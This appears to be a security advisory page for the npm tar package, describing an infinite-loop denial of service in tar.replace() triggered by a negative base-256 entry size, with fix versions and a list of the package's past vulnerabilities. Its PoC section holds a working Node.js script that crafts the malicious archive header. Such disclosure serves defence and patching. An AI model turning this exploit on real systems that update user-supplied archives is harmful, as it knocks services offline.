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High

node-tar: Negative tar entry size causes infinite loop in archive replace

  • Disclosed: 20.07.2026
  • Updated: 11.10.2026 10:22

Summary

A checksum-valid tar archive with a negative base-256 encoded entry size can make tar.replace() loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.

Details

The public tar.replace() API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.

Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as -512 while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.

For a size of -512, the computed body skip is -512. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.

This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.

PoC

Save as poc.mjs in a project with the vulnerable package installed and run:

bash
node poc.mjs
js
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'

const oct = (b, n, off, len) =>
  b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')

const badHeader = () => {
  const h = Buffer.alloc(512)

  h.write('x', 0)
  oct(h, 0o644, 100, 8)
  oct(h, 0, 108, 8)
  oct(h, 0, 116, 8)

  // base-256 encoded -512 in the size field
  Buffer.alloc(10, 0xff).copy(h, 124)
  h[134] = 0xfe
  h[135] = 0x00

  oct(h, 0, 136, 12)
  h.fill(0x20, 148, 156)
  h[156] = 0x30
  h.write('ustar\0' + '00', 257, 8, 'binary')

  let sum = 0
  for (const c of h) sum += c
  h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')

  return h
}

const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')

fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')

const r = spawnSync(
  process.execPath,
  [
    '--input-type=module',
    '-e',
    `
      import * as tar from 'tar'
      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
      console.log('completed')
    `,
  ],
  { timeout: 20_000 }
)

console.log(r.error?.code === 'ETIMEDOUT')

// Output: true

Impact

An application that calls tar.replace() on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package tar < 7.5.18 7.5.18

References

CVSS score 7.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-835
Platform
npm
Package
tar
Disclosed
20.07.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-8x88-c5mf-7j5w - CC BY 4.0

Vulnerability history: tar

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (21) in the archive
Total entries
21
First → latest
10.2017 07.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 15
  • Medium 5

Disclosures per year

Severity:
  1. node-tar: Uncontrolled recursion in mapHas/filesFilter allows uncatchable stack-overflow DoS via crafted long-path tar with member selection
    High · 7.5 CVE-2026-73566 < 7.5.21 7.5.21
  2. node-tar: Decompression/parse DoS via unlimited input
    Critical · 7.5 CVE-2026-59873 < 7.5.19 7.5.19
  3. node-tar: Negative tar entry size causes infinite loop in archive replace this entry
    High · 7.5 CVE-2026-59874 < 7.5.18 7.5.18
  4. node-tar Symlink Path Traversal via Drive-Relative Linkpath
    High CVE-2026-31802 < 7.5.11 7.5.11
  5. tar has Hardlink Path Traversal via Drive-Relative Linkpath
    High CVE-2026-29786 < 7.5.10 7.5.10
  6. Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in node-tar Extraction
    High · 7.1 CVE-2026-26960 < 7.5.8 7.5.8
  7. node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal
    High · 8.2 CVE-2026-24842 < 7.5.7 7.5.7
  8. Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS
    High · 8.8 CVE-2026-23950 < 7.5.4 7.5.4
  9. node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization
    High CVE-2026-23745 < 7.5.3 7.5.3
  10. Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning using symbolic links
    High · 8.2 CVE-2021-37701 >= 3.0.0, < 4.4.16, >= 5.0.0, < 5.0.8, >= 6.0.0, < 6.1.7 4.4.16, 5.0.8, 6.1.7
  11. Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning using symbolic links
    High · 8.2 CVE-2021-37712 >= 3.0.0, < 4.4.18, >= 5.0.0, < 5.0.10, >= 6.0.0, < 6.1.9 4.4.18, 5.0.10, 6.1.9
  12. Arbitrary File Creation/Overwrite on Windows via insufficient relative path sanitization
    High · 8.2 CVE-2021-37713 < 4.4.18, >= 5.0.0, < 5.0.10, >= 6.0.0, < 6.1.9 4.4.18, 5.0.10, 6.1.9
  13. Arbitrary File Creation/Overwrite due to insufficient absolute path sanitization
    High · 8.2 CVE-2021-32804 < 3.2.2, >= 4.0.0, < 4.4.14, >= 5.0.0, < 5.0.6, >= 6.0.0, < 6.1.1 3.2.2, 4.4.14, 5.0.6, 6.1.1
  14. Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning
    High · 8.2 CVE-2021-32803 >= 3.0.0, < 3.2.3, >= 4.0.0, < 4.4.15, >= 5.0.0, < 5.0.7, >= 6.0.0, < 6.1.2 3.2.3, 4.4.15, 5.0.7, 6.1.2
  15. Arbitrary File Overwrite in tar
    High · 7.5 CVE-2018-20834 >= 3.0.0, < 4.4.2, < 2.2.2 4.4.2, 2.2.2
  16. Symlink Arbitrary File Overwrite in tar
    High · 7.5 CVE-2015-8860 < 2.0.0 2.0.0

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